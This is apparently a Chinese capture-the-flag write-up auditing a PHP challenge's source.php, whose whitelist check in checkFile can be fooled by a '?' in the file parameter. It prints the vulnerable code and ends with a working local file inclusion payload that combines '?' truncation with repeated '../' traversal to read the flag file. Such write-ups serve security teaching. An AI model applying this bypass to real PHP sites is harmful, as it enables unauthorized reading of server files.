1、题目提示为PHP代码审计,进入题目后只有一张图片
根据题目提示,查看其源代码
题目中有一行注释 source.php
2、在URL后添加/source.php,可以看到以下代码,进行代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置白名单
if (! isset($page) || !is_string($page)) {//判断是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//判断是否在白名单中
return true;
}
//mb_substr(str,start,length)真根据 start 和 length 参数返回 str 中指定的部分。
//mb_strpos(haystack,needle)是返回 haystack 中 needle 首次出现位置的数值
//在此二者结合,如果$page中有?则返回?的下标,若没有则返回$page最后一个字符的下标
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//page . '?'拼接一个'?'
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//解码已编码的 URL 字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//file需要满足三个条件:不能为空、是字符串、自定义的checkFile返回TURE,否则一直显示滑稽图片
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以发现白名单除了source.php还有hint.php
3、尝试访问hint.php
源代码也没用东西,返回 source.php继续分析代码
4、首先需要满足以下三个条件:
1、文件名不为空;
2、文件名是字符串;
3、checkFile()函数返回true;
才会执行include,否则输出滑稽图片
分析checkFile()函数
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//设置白名单
if (! isset($page) || !is_string($page)) {//判断是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//判断是否在白名单中
return true;
}
//mb_substr(str,start,length)真根据 start 和 length 参数返回 str 中指定的部分。
//mb_strpos(haystack,needle)是返回 haystack 中 needle 首次出现位置的数值
//在此二者结合,如果$page中有?则返回?的下标,若没有则返回$page最后一个字符的下标
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//page . '?'拼接一个'?'
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//解码已编码的 URL 字符串
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
看到include函数,尝试利用文件包含漏洞获取flag,本地文件包含漏洞的格式一般是file=../../../.../xxx,其中../的个数不固定
5、构造file
=xxx/source.php?../ffffllllaaaagggg
第一个if
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
是字符串,成功绕过
第二个if
if (in_array($page, $whitelist)) {
return true;
}
字符串不是白名单中的,继续往下执行
第三个if
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
字符串被截断为白名单中的字符串,返回TURE
6、逐个增加../的数量
当file=source.php?../../../../../ffffllllaaaagggg
的时候,得到flag